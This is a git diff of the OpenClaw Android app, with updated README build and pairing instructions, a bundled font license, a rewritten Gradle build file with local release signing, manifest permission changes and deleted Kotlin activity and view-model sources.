## Open in Android Studio
- Open the folder `apps/android`.
## Build / Run
@@ -17,25 +30,138 @@ cd apps/android
./gradlew :app:assembleDebug
./gradlew :app:installDebug
./gradlew :app:testDebugUnitTest
cd ../..
bun run android:bundle:release
```
`bun run android:bundle:release` auto-bumps Android `versionName`/`versionCode` in `apps/android/app/build.gradle.kts`, then builds a signed release `.aab`.
## Kotlin Lint + Format
```bash
pnpm android:lint
pnpm android:format
```
Android framework/resource lint (separate pass):
```bash
pnpm android:lint:android
```
Direct Gradle tasks:
```bash
cd apps/android
./gradlew :app:ktlintCheck :benchmark:ktlintCheck
./gradlew :app:ktlintFormat :benchmark:ktlintFormat
./gradlew :app:lintDebug
```
`gradlew` auto-detects the Android SDK at `~/Library/Android/sdk` (macOS default) if `ANDROID_SDK_ROOT` / `ANDROID_HOME` are unset.
## Macrobenchmark (Startup + Frame Timing)
```bash
cd apps/android
./gradlew :benchmark:connectedDebugAndroidTest
```
Reports are written under:
- `apps/android/benchmark/build/reports/androidTests/connected/`
## Perf CLI (low-noise)
Deterministic startup measurement + hotspot extraction with compact CLI output:
```bash
cd apps/android
./scripts/perf-startup-benchmark.sh
./scripts/perf-startup-hotspots.sh
```
Benchmark script behavior:
- Runs only `StartupMacrobenchmark#coldStartup` (10 iterations).
- Prints median/min/max/COV in one line.
- Writes timestamped snapshot JSON to `apps/android/benchmark/results/`.
- Auto-compares with previous local snapshot (or pass explicit baseline: `--baseline <old-benchmarkData.json>`).
Hotspot script behavior:
- Ensures debug app installed, captures startup `simpleperf` data for `.MainActivity`.
- Prints top DSOs, top symbols, and key app-path clues (Compose/MainActivity/WebView).
- Writes raw `perf.data` path for deeper follow-up if needed.
## Run on a Real Android Phone (USB)
1) On phone, enable **Developer options** + **USB debugging**.
2) Connect by USB and accept the debugging trust prompt on phone.
3) Verify ADB can see the device:
```bash
adb devices -l
```
4) Install + launch debug build:
```bash
pnpm android:install
pnpm android:run
```
If `adb devices -l` shows `unauthorized`, re-plug and accept the trust prompt again.
### USB-only gateway testing (no LAN dependency)
Use `adb reverse` so Android `localhost:18789` tunnels to your laptop `localhost:18789`.
Terminal A (gateway):
```bash
pnpm openclaw gateway --port 18789 --verbose
```
Terminal B (USB tunnel):
```bash
adb reverse tcp:18789 tcp:18789
```
Then in app **Connect → Manual**:
- Host: `127.0.0.1`
- Port: `18789`
- TLS: off
## Hot Reload / Fast Iteration
This app is native Kotlin + Jetpack Compose.
- For Compose UI edits: use Android Studio **Live Edit** on a debug build (works on physical devices; project `minSdk=31` already meets API requirement).
- For many non-structural code/resource changes: use Android Studio **Apply Changes**.
- For structural/native/manifest/Gradle changes: do full reinstall (`pnpm android:run`).
- Canvas web content already supports live reload when loaded from Gateway `__openclaw__/canvas/` (see `docs/platforms/android.md`).
## Connect / Pair
1) Start the gateway (on your master” machine):
1) Start the gateway (on your main machine):
```bash
pnpm openclaw gateway --port 18789 --verbose
```
2) In the Android app:
- Open **Settings**
- Either select a discovered gateway under **Discovered Gateways**, or use **Advanced → Manual Gateway** (host + port).
- Open the **Connect** tab.
- Use **Setup Code** or **Manual** mode to connect.
3) Approve pairing (on the gateway machine):
```bash
openclaw nodes pending
openclaw nodes approve <requestId>
openclaw devices list
openclaw devices approve <requestId>
```
More details: `docs/platforms/android.md`.
@@ -49,3 +175,58 @@ More details: `docs/platforms/android.md`.
- Camera:
- `CAMERA` for `camera.snap` and `camera.clip`
- `RECORD_AUDIO` for `camera.clip` when `includeAudio=true`
## Integration Capability Test (Preconditioned)
This suite assumes setup is already done manually. It does **not** install/run/pair automatically.
Pre-req checklist:
1) Gateway is running and reachable from the Android app.
2) Android app is connected to that gateway and `openclaw nodes status` shows it as paired + connected.
3) App stays unlocked and in foreground for the whole run.
4) Open the app **Screen** tab and keep it active during the run (canvas/A2UI commands require the canvas WebView attached there).
5) Grant runtime permissions for capabilities you expect to pass (camera/mic/location/notification listener/location, etc.).
6) No interactive system dialogs should be pending before test start.
7) Canvas host is enabled and reachable from the device (do not run gateway with `OPENCLAW_SKIP_CANVAS_HOST=1`; startup logs should include `canvas host mounted at .../__openclaw__/`).
8) Local operator test client pairing is approved. If first run fails with `pairing required`, approve latest pending device pairing request, then rerun:
9) For A2UI checks, keep the app on **Screen** tab; the node now auto-refreshes canvas capability once on first A2UI reachability failure (TTL-safe retry).
```bash
openclaw devices list
openclaw devices approve --latest
```
Run:
```bash
pnpm android:test:integration
```
Optional overrides:
- `OPENCLAW_ANDROID_GATEWAY_URL=ws://...` (default: from your local OpenClaw config)
- `OPENCLAW_ANDROID_GATEWAY_TOKEN=...`
- `OPENCLAW_ANDROID_GATEWAY_PASSWORD=...`
- `OPENCLAW_ANDROID_NODE_ID=...` or `OPENCLAW_ANDROID_NODE_NAME=...`
What it does:
- Reads `node.describe` command list from the selected Android node.
- Invokes advertised non-interactive commands.
- Skips `screen.record` in this suite (Android requires interactive per-invocation screen-capture consent).
- Asserts command contracts (success or expected deterministic error for safe-invalid calls like `sms.send` and `notifications.actions`).
Common failure quick-fixes:
- `pairing required` before tests start:
- approve pending device pairing (`openclaw devices approve --latest`) and rerun.
- `A2UI host not reachable` / `A2UI_HOST_NOT_CONFIGURED`:
- ensure gateway canvas host is running and reachable, keep the app on the **Screen** tab. The app will auto-refresh canvas capability once; if it still fails, reconnect app and rerun.
- `NODE_BACKGROUND_UNAVAILABLE: canvas unavailable`:
- app is not effectively ready for canvas commands; keep app foregrounded and **Screen** tab active.
## Contributions
This Android app is currently being rebuilt.
Maintainer: @obviyus. For issues/questions/contributions, please open an issue or reach out on Discord.

View File

@@ -0,0 +1,93 @@
Copyright 2018 The Manrope Project Authors (https://github.com/sharanda/manrope)
This Font Software is licensed under the SIL Open Font License, Version 1.1.
This license is copied below, and is also available with a FAQ at:
http://scripts.sil.org/OFL
-----------------------------------------------------------
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
-----------------------------------------------------------
PREAMBLE
The goals of the Open Font License (OFL) are to stimulate worldwide
development of collaborative font projects, to support the font creation
efforts of academic and linguistic communities, and to provide a free and
open framework in which fonts may be shared and improved in partnership
with others.
The OFL allows the licensed fonts to be used, studied, modified and
redistributed freely as long as they are not sold by themselves. The
fonts, including any derivative works, can be bundled, embedded,
redistributed and/or sold with any software provided that any reserved
names are not used by derivative works. The fonts and derivatives,
however, cannot be released under any other type of license. The
requirement for fonts to remain under this license does not apply
to any document created using the fonts or their derivatives.
DEFINITIONS
"Font Software" refers to the set of files released by the Copyright
Holder(s) under this license and clearly marked as such. This may
include source files, build scripts and documentation.
"Reserved Font Name" refers to any names specified as such after the
copyright statement(s).
"Original Version" refers to the collection of Font Software components as
distributed by the Copyright Holder(s).
"Modified Version" refers to any derivative made by adding to, deleting,
or substituting -- in part or in whole -- any of the components of the
Original Version, by changing formats or by porting the Font Software to a
new environment.
"Author" refers to any designer, engineer, programmer, technical
writer or other person who contributed to the Font Software.
PERMISSION & CONDITIONS
Permission is hereby granted, free of charge, to any person obtaining
a copy of the Font Software, to use, study, copy, merge, embed, modify,
redistribute, and sell modified and unmodified copies of the Font
Software, subject to the following conditions:
1) Neither the Font Software nor any of its individual components,
in Original or Modified Versions, may be sold by itself.
2) Original or Modified Versions of the Font Software may be bundled,
redistributed and/or sold with any software, provided that each copy
contains the above copyright notice and this license. These can be
included either as stand-alone text files, human-readable headers or
in the appropriate machine-readable metadata fields within text or
binary files as long as those fields can be easily viewed by the user.
3) No Modified Version of the Font Software may use the Reserved Font
Name(s) unless explicit written permission is granted by the corresponding
Copyright Holder. This restriction only applies to the primary font name as
presented to the users.
4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
Software shall not be used to promote, endorse or advertise any
Modified Version, except to acknowledge the contribution(s) of the
Copyright Holder(s) and the Author(s) or with their explicit written
permission.
5) The Font Software, modified or unmodified, in part or in whole,
must be distributed entirely under this license, and must not be
distributed under any other license. The requirement for fonts to
remain under this license does not apply to any document created
using the Font Software.
TERMINATION
This license becomes null and void if any of the above conditions are
not met.
DISCLAIMER
THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

View File

@@ -1,128 +1,262 @@
import com.android.build.api.variant.impl.VariantOutputImpl
val dnsjavaInetAddressResolverService = "META-INF/services/java.net.spi.InetAddressResolverProvider"
val androidStoreFile = providers.gradleProperty("OPENCLAW_ANDROID_STORE_FILE").orNull?.takeIf { it.isNotBlank() }
val androidStorePassword = providers.gradleProperty("OPENCLAW_ANDROID_STORE_PASSWORD").orNull?.takeIf { it.isNotBlank() }
val androidKeyAlias = providers.gradleProperty("OPENCLAW_ANDROID_KEY_ALIAS").orNull?.takeIf { it.isNotBlank() }
val androidKeyPassword = providers.gradleProperty("OPENCLAW_ANDROID_KEY_PASSWORD").orNull?.takeIf { it.isNotBlank() }
val resolvedAndroidStoreFile =
androidStoreFile?.let { storeFilePath ->
if (storeFilePath.startsWith("~/")) {
"${System.getProperty("user.home")}/${storeFilePath.removePrefix("~/")}"
} else {
storeFilePath
}
}
val hasAndroidReleaseSigning =
listOf(resolvedAndroidStoreFile, androidStorePassword, androidKeyAlias, androidKeyPassword).all { it != null }
val wantsAndroidReleaseBuild =
gradle.startParameter.taskNames.any { taskName ->
taskName.contains("Release", ignoreCase = true) ||
Regex("""(^|:)(bundle|assemble)$""").containsMatchIn(taskName)
}
if (wantsAndroidReleaseBuild && !hasAndroidReleaseSigning) {
error(
"Missing Android release signing properties. Set OPENCLAW_ANDROID_STORE_FILE, " +
"OPENCLAW_ANDROID_STORE_PASSWORD, OPENCLAW_ANDROID_KEY_ALIAS, and " +
"OPENCLAW_ANDROID_KEY_PASSWORD in ~/.gradle/gradle.properties.",
)
}
plugins {
id("com.android.application")
id("org.jetbrains.kotlin.android")
id("org.jetbrains.kotlin.plugin.compose")
id("org.jetbrains.kotlin.plugin.serialization")
id("com.android.application")
id("org.jlleitschuh.gradle.ktlint")
id("org.jetbrains.kotlin.plugin.compose")
id("org.jetbrains.kotlin.plugin.serialization")
}
android {
namespace = "ai.openclaw.android"
compileSdk = 36
namespace = "ai.openclaw.app"
compileSdk = 36
sourceSets {
getByName("main") {
assets.srcDir(file("../../shared/OpenClawKit/Sources/OpenClawKit/Resources"))
// Release signing is local-only; keep the keystore path and passwords out of the repo.
signingConfigs {
if (hasAndroidReleaseSigning) {
create("release") {
storeFile = project.file(checkNotNull(resolvedAndroidStoreFile))
storePassword = checkNotNull(androidStorePassword)
keyAlias = checkNotNull(androidKeyAlias)
keyPassword = checkNotNull(androidKeyPassword)
}
}
}
}
defaultConfig {
applicationId = "ai.openclaw.android"
minSdk = 31
targetSdk = 36
versionCode = 202602030
versionName = "2026.2.6"
}
buildTypes {
release {
isMinifyEnabled = false
sourceSets {
getByName("main") {
assets.directories.add("../../shared/OpenClawKit/Sources/OpenClawKit/Resources")
}
}
}
buildFeatures {
compose = true
buildConfig = true
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
packaging {
resources {
excludes += "/META-INF/{AL2.0,LGPL2.1}"
defaultConfig {
applicationId = "ai.openclaw.app"
minSdk = 31
targetSdk = 36
versionCode = 2026031400
versionName = "2026.3.14"
ndk {
// Support all major ABIs — native libs are tiny (~47 KB per ABI)
abiFilters += listOf("armeabi-v7a", "arm64-v8a", "x86", "x86_64")
}
}
}
lint {
disable += setOf("IconLauncherShape")
warningsAsErrors = true
}
buildTypes {
release {
if (hasAndroidReleaseSigning) {
signingConfig = signingConfigs.getByName("release")
}
isMinifyEnabled = true
isShrinkResources = true
ndk {
debugSymbolLevel = "SYMBOL_TABLE"
}
proguardFiles(getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro")
}
debug {
isMinifyEnabled = false
}
}
testOptions {
unitTests.isIncludeAndroidResources = true
}
buildFeatures {
compose = true
buildConfig = true
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_17
targetCompatibility = JavaVersion.VERSION_17
}
packaging {
resources {
excludes +=
setOf(
"/META-INF/{AL2.0,LGPL2.1}",
"/META-INF/*.version",
"/META-INF/LICENSE*.txt",
"DebugProbesKt.bin",
"kotlin-tooling-metadata.json",
"org/bouncycastle/pqc/crypto/picnic/lowmcL1.bin.properties",
"org/bouncycastle/pqc/crypto/picnic/lowmcL3.bin.properties",
"org/bouncycastle/pqc/crypto/picnic/lowmcL5.bin.properties",
"org/bouncycastle/x509/CertPathReviewerMessages*.properties",
)
}
}
lint {
disable +=
setOf(
"AndroidGradlePluginVersion",
"GradleDependency",
"IconLauncherShape",
"NewerVersionAvailable",
)
warningsAsErrors = true
}
testOptions {
unitTests.isIncludeAndroidResources = true
}
}
androidComponents {
onVariants { variant ->
variant.outputs
.filterIsInstance<VariantOutputImpl>()
.forEach { output ->
val versionName = output.versionName.orNull ?: "0"
val buildType = variant.buildType
onVariants { variant ->
variant.outputs
.filterIsInstance<VariantOutputImpl>()
.forEach { output ->
val versionName = output.versionName.orNull ?: "0"
val buildType = variant.buildType
val outputFileName = "openclaw-${versionName}-${buildType}.apk"
output.outputFileName = outputFileName
}
}
val outputFileName = "openclaw-$versionName-$buildType.apk"
output.outputFileName = outputFileName
}
}
}
kotlin {
compilerOptions {
jvmTarget.set(org.jetbrains.kotlin.gradle.dsl.JvmTarget.JVM_17)
allWarningsAsErrors.set(true)
}
compilerOptions {
jvmTarget.set(org.jetbrains.kotlin.gradle.dsl.JvmTarget.JVM_17)
allWarningsAsErrors.set(true)
}
}
ktlint {
android.set(true)
ignoreFailures.set(false)
filter {
exclude("**/build/**")
}
}
dependencies {
val composeBom = platform("androidx.compose:compose-bom:2025.12.00")
implementation(composeBom)
androidTestImplementation(composeBom)
val composeBom = platform("androidx.compose:compose-bom:2026.02.00")
implementation(composeBom)
androidTestImplementation(composeBom)
implementation("androidx.core:core-ktx:1.17.0")
implementation("androidx.lifecycle:lifecycle-runtime-ktx:2.10.0")
implementation("androidx.activity:activity-compose:1.12.2")
implementation("androidx.webkit:webkit:1.15.0")
implementation("androidx.core:core-ktx:1.17.0")
implementation("androidx.lifecycle:lifecycle-runtime-ktx:2.10.0")
implementation("androidx.activity:activity-compose:1.12.2")
implementation("androidx.webkit:webkit:1.15.0")
implementation("androidx.compose.ui:ui")
implementation("androidx.compose.ui:ui-tooling-preview")
implementation("androidx.compose.material3:material3")
implementation("androidx.compose.material:material-icons-extended")
implementation("androidx.navigation:navigation-compose:2.9.6")
implementation("androidx.compose.ui:ui")
implementation("androidx.compose.ui:ui-tooling-preview")
implementation("androidx.compose.material3:material3")
// material-icons-extended pulled in full icon set (~20 MB DEX). Only ~18 icons used.
// R8 will tree-shake unused icons when minify is enabled on release builds.
implementation("androidx.compose.material:material-icons-extended")
debugImplementation("androidx.compose.ui:ui-tooling")
debugImplementation("androidx.compose.ui:ui-tooling")
// Material Components (XML theme + resources)
implementation("com.google.android.material:material:1.13.0")
// Material Components (XML theme + resources)
implementation("com.google.android.material:material:1.13.0")
implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.10.2")
implementation("org.jetbrains.kotlinx:kotlinx-serialization-json:1.9.0")
implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.10.2")
implementation("org.jetbrains.kotlinx:kotlinx-serialization-json:1.10.0")
implementation("androidx.security:security-crypto:1.1.0")
implementation("androidx.exifinterface:exifinterface:1.4.2")
implementation("com.squareup.okhttp3:okhttp:5.3.2")
implementation("androidx.security:security-crypto:1.1.0")
implementation("androidx.exifinterface:exifinterface:1.4.2")
implementation("com.squareup.okhttp3:okhttp:5.3.2")
implementation("org.bouncycastle:bcprov-jdk18on:1.83")
implementation("org.commonmark:commonmark:0.27.1")
implementation("org.commonmark:commonmark-ext-autolink:0.27.1")
implementation("org.commonmark:commonmark-ext-gfm-strikethrough:0.27.1")
implementation("org.commonmark:commonmark-ext-gfm-tables:0.27.1")
implementation("org.commonmark:commonmark-ext-task-list-items:0.27.1")
// CameraX (for node.invoke camera.* parity)
implementation("androidx.camera:camera-core:1.5.2")
implementation("androidx.camera:camera-camera2:1.5.2")
implementation("androidx.camera:camera-lifecycle:1.5.2")
implementation("androidx.camera:camera-video:1.5.2")
implementation("androidx.camera:camera-view:1.5.2")
// CameraX (for node.invoke camera.* parity)
implementation("androidx.camera:camera-core:1.5.2")
implementation("androidx.camera:camera-camera2:1.5.2")
implementation("androidx.camera:camera-lifecycle:1.5.2")
implementation("androidx.camera:camera-video:1.5.2")
implementation("com.google.android.gms:play-services-code-scanner:16.1.0")
// Unicast DNS-SD (Wide-Area Bonjour) for tailnet discovery domains.
implementation("dnsjava:dnsjava:3.6.4")
// Unicast DNS-SD (Wide-Area Bonjour) for tailnet discovery domains.
implementation("dnsjava:dnsjava:3.6.4")
testImplementation("junit:junit:4.13.2")
testImplementation("org.jetbrains.kotlinx:kotlinx-coroutines-test:1.10.2")
testImplementation("io.kotest:kotest-runner-junit5-jvm:6.0.7")
testImplementation("io.kotest:kotest-assertions-core-jvm:6.0.7")
testImplementation("org.robolectric:robolectric:4.16")
testRuntimeOnly("org.junit.vintage:junit-vintage-engine:6.0.2")
testImplementation("junit:junit:4.13.2")
testImplementation("org.jetbrains.kotlinx:kotlinx-coroutines-test:1.10.2")
testImplementation("io.kotest:kotest-runner-junit5-jvm:6.1.3")
testImplementation("io.kotest:kotest-assertions-core-jvm:6.1.3")
testImplementation("com.squareup.okhttp3:mockwebserver:5.3.2")
testImplementation("org.robolectric:robolectric:4.16.1")
testRuntimeOnly("org.junit.vintage:junit-vintage-engine:6.0.2")
}
tasks.withType<Test>().configureEach {
useJUnitPlatform()
useJUnitPlatform()
}
val stripReleaseDnsjavaServiceDescriptor =
tasks.register("stripReleaseDnsjavaServiceDescriptor") {
val mergedJar =
layout.buildDirectory.file(
"intermediates/merged_java_res/release/mergeReleaseJavaResource/base.jar",
)
inputs.file(mergedJar)
outputs.file(mergedJar)
doLast {
val jarFile = mergedJar.get().asFile
if (!jarFile.exists()) {
return@doLast
}
val unpackDir = temporaryDir.resolve("merged-java-res")
delete(unpackDir)
copy {
from(zipTree(jarFile))
into(unpackDir)
exclude(dnsjavaInetAddressResolverService)
}
delete(jarFile)
ant.invokeMethod(
"zip",
mapOf(
"destfile" to jarFile.absolutePath,
"basedir" to unpackDir.absolutePath,
),
)
}
}
tasks.matching { it.name == "stripReleaseDnsjavaServiceDescriptor" }.configureEach {
dependsOn("mergeReleaseJavaResource")
}
tasks.matching { it.name == "minifyReleaseWithR8" }.configureEach {
dependsOn(stripReleaseDnsjavaServiceDescriptor)
}

8
apps/android/app/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,8 @@
-dontwarn org.bouncycastle.**
-dontwarn okhttp3.**
-dontwarn okio.**
-dontwarn com.sun.jna.**
-dontwarn javax.naming.**
-dontwarn lombok.Generated
-dontwarn org.slf4j.impl.StaticLoggerBinder
-dontwarn sun.net.spi.nameservice.NameServiceDescriptor

View File

@@ -3,18 +3,26 @@
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MICROPHONE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission
android:name="android.permission.NEARBY_WIFI_DEVICES"
android:usesPermissionFlags="neverForLocation" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<uses-permission android:name="android.permission.READ_MEDIA_VISUAL_USER_SELECTED" />
<uses-permission
android:name="android.permission.READ_EXTERNAL_STORAGE"
android:maxSdkVersion="32" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.READ_CALENDAR" />
<uses-permission android:name="android.permission.WRITE_CALENDAR" />
<uses-permission android:name="android.permission.ACTIVITY_RECOGNITION" />
<uses-feature
android:name="android.hardware.camera"
android:required="false" />
@@ -36,10 +44,30 @@
<service
android:name=".NodeForegroundService"
android:exported="false"
android:foregroundServiceType="dataSync|microphone|mediaProjection" />
android:foregroundServiceType="dataSync" />
<service
android:name=".node.DeviceNotificationListenerService"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.fileprovider"
android:exported="false"
android:grantUriPermissions="true">
<meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/file_paths" />
</provider>
<activity
android:name=".MainActivity"
android:exported="true">
android:exported="true"
android:windowSoftInputMode="adjustResize"
android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize|uiMode|density|keyboard|keyboardHidden|navigation">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />

View File

@@ -1,130 +0,0 @@
package ai.openclaw.android
import android.Manifest
import android.content.pm.ApplicationInfo
import android.os.Bundle
import android.os.Build
import android.view.WindowManager
import android.webkit.WebView
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.activity.viewModels
import androidx.compose.material3.Surface
import androidx.compose.ui.Modifier
import androidx.core.content.ContextCompat
import androidx.core.view.WindowCompat
import androidx.core.view.WindowInsetsCompat
import androidx.core.view.WindowInsetsControllerCompat
import androidx.lifecycle.Lifecycle
import androidx.lifecycle.lifecycleScope
import androidx.lifecycle.repeatOnLifecycle
import ai.openclaw.android.ui.RootScreen
import ai.openclaw.android.ui.OpenClawTheme
import kotlinx.coroutines.launch
class MainActivity : ComponentActivity() {
private val viewModel: MainViewModel by viewModels()
private lateinit var permissionRequester: PermissionRequester
private lateinit var screenCaptureRequester: ScreenCaptureRequester
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val isDebuggable = (applicationInfo.flags and ApplicationInfo.FLAG_DEBUGGABLE) != 0
WebView.setWebContentsDebuggingEnabled(isDebuggable)
applyImmersiveMode()
requestDiscoveryPermissionsIfNeeded()
requestNotificationPermissionIfNeeded()
NodeForegroundService.start(this)
permissionRequester = PermissionRequester(this)
screenCaptureRequester = ScreenCaptureRequester(this)
viewModel.camera.attachLifecycleOwner(this)
viewModel.camera.attachPermissionRequester(permissionRequester)
viewModel.sms.attachPermissionRequester(permissionRequester)
viewModel.screenRecorder.attachScreenCaptureRequester(screenCaptureRequester)
viewModel.screenRecorder.attachPermissionRequester(permissionRequester)
lifecycleScope.launch {
repeatOnLifecycle(Lifecycle.State.STARTED) {
viewModel.preventSleep.collect { enabled ->
if (enabled) {
window.addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
} else {
window.clearFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
}
}
}
}
setContent {
OpenClawTheme {
Surface(modifier = Modifier) {
RootScreen(viewModel = viewModel)
}
}
}
}
override fun onResume() {
super.onResume()
applyImmersiveMode()
}
override fun onWindowFocusChanged(hasFocus: Boolean) {
super.onWindowFocusChanged(hasFocus)
if (hasFocus) {
applyImmersiveMode()
}
}
override fun onStart() {
super.onStart()
viewModel.setForeground(true)
}
override fun onStop() {
viewModel.setForeground(false)
super.onStop()
}
private fun applyImmersiveMode() {
WindowCompat.setDecorFitsSystemWindows(window, false)
val controller = WindowInsetsControllerCompat(window, window.decorView)
controller.systemBarsBehavior =
WindowInsetsControllerCompat.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE
controller.hide(WindowInsetsCompat.Type.systemBars())
}
private fun requestDiscoveryPermissionsIfNeeded() {
if (Build.VERSION.SDK_INT >= 33) {
val ok =
ContextCompat.checkSelfPermission(
this,
Manifest.permission.NEARBY_WIFI_DEVICES,
) == android.content.pm.PackageManager.PERMISSION_GRANTED
if (!ok) {
requestPermissions(arrayOf(Manifest.permission.NEARBY_WIFI_DEVICES), 100)
}
} else {
val ok =
ContextCompat.checkSelfPermission(
this,
Manifest.permission.ACCESS_FINE_LOCATION,
) == android.content.pm.PackageManager.PERMISSION_GRANTED
if (!ok) {
requestPermissions(arrayOf(Manifest.permission.ACCESS_FINE_LOCATION), 101)
}
}
}
private fun requestNotificationPermissionIfNeeded() {
if (Build.VERSION.SDK_INT < 33) return
val ok =
ContextCompat.checkSelfPermission(
this,
Manifest.permission.POST_NOTIFICATIONS,
) == android.content.pm.PackageManager.PERMISSION_GRANTED
if (!ok) {
requestPermissions(arrayOf(Manifest.permission.POST_NOTIFICATIONS), 102)
}
}
}

View File

@@ -1,174 +0,0 @@
package ai.openclaw.android
import android.app.Application
import androidx.lifecycle.AndroidViewModel
import ai.openclaw.android.gateway.GatewayEndpoint
import ai.openclaw.android.chat.OutgoingAttachment
import ai.openclaw.android.node.CameraCaptureManager
import ai.openclaw.android.node.CanvasController
import ai.openclaw.android.node.ScreenRecordManager
import ai.openclaw.android.node.SmsManager
import kotlinx.coroutines.flow.StateFlow
class MainViewModel(app: Application) : AndroidViewModel(app) {
private val runtime: NodeRuntime = (app as NodeApp).runtime
val canvas: CanvasController = runtime.canvas
val camera: CameraCaptureManager = runtime.camera
val screenRecorder: ScreenRecordManager = runtime.screenRecorder
val sms: SmsManager = runtime.sms
val gateways: StateFlow<List<GatewayEndpoint>> = runtime.gateways
val discoveryStatusText: StateFlow<String> = runtime.discoveryStatusText
val isConnected: StateFlow<Boolean> = runtime.isConnected
val statusText: StateFlow<String> = runtime.statusText
val serverName: StateFlow<String?> = runtime.serverName
val remoteAddress: StateFlow<String?> = runtime.remoteAddress
val isForeground: StateFlow<Boolean> = runtime.isForeground
val seamColorArgb: StateFlow<Long> = runtime.seamColorArgb
val mainSessionKey: StateFlow<String> = runtime.mainSessionKey
val cameraHud: StateFlow<CameraHudState?> = runtime.cameraHud
val cameraFlashToken: StateFlow<Long> = runtime.cameraFlashToken
val screenRecordActive: StateFlow<Boolean> = runtime.screenRecordActive
val instanceId: StateFlow<String> = runtime.instanceId
val displayName: StateFlow<String> = runtime.displayName
val cameraEnabled: StateFlow<Boolean> = runtime.cameraEnabled
val locationMode: StateFlow<LocationMode> = runtime.locationMode
val locationPreciseEnabled: StateFlow<Boolean> = runtime.locationPreciseEnabled
val preventSleep: StateFlow<Boolean> = runtime.preventSleep
val wakeWords: StateFlow<List<String>> = runtime.wakeWords
val voiceWakeMode: StateFlow<VoiceWakeMode> = runtime.voiceWakeMode
val voiceWakeStatusText: StateFlow<String> = runtime.voiceWakeStatusText
val voiceWakeIsListening: StateFlow<Boolean> = runtime.voiceWakeIsListening
val talkEnabled: StateFlow<Boolean> = runtime.talkEnabled
val talkStatusText: StateFlow<String> = runtime.talkStatusText
val talkIsListening: StateFlow<Boolean> = runtime.talkIsListening
val talkIsSpeaking: StateFlow<Boolean> = runtime.talkIsSpeaking
val manualEnabled: StateFlow<Boolean> = runtime.manualEnabled
val manualHost: StateFlow<String> = runtime.manualHost
val manualPort: StateFlow<Int> = runtime.manualPort
val manualTls: StateFlow<Boolean> = runtime.manualTls
val canvasDebugStatusEnabled: StateFlow<Boolean> = runtime.canvasDebugStatusEnabled
val chatSessionKey: StateFlow<String> = runtime.chatSessionKey
val chatSessionId: StateFlow<String?> = runtime.chatSessionId
val chatMessages = runtime.chatMessages
val chatError: StateFlow<String?> = runtime.chatError
val chatHealthOk: StateFlow<Boolean> = runtime.chatHealthOk
val chatThinkingLevel: StateFlow<String> = runtime.chatThinkingLevel
val chatStreamingAssistantText: StateFlow<String?> = runtime.chatStreamingAssistantText
val chatPendingToolCalls = runtime.chatPendingToolCalls
val chatSessions = runtime.chatSessions
val pendingRunCount: StateFlow<Int> = runtime.pendingRunCount
fun setForeground(value: Boolean) {
runtime.setForeground(value)
}
fun setDisplayName(value: String) {
runtime.setDisplayName(value)
}
fun setCameraEnabled(value: Boolean) {
runtime.setCameraEnabled(value)
}
fun setLocationMode(mode: LocationMode) {
runtime.setLocationMode(mode)
}
fun setLocationPreciseEnabled(value: Boolean) {
runtime.setLocationPreciseEnabled(value)
}
fun setPreventSleep(value: Boolean) {
runtime.setPreventSleep(value)
}
fun setManualEnabled(value: Boolean) {
runtime.setManualEnabled(value)
}
fun setManualHost(value: String) {
runtime.setManualHost(value)
}
fun setManualPort(value: Int) {
runtime.setManualPort(value)
}
fun setManualTls(value: Boolean) {
runtime.setManualTls(value)
}
fun setCanvasDebugStatusEnabled(value: Boolean) {
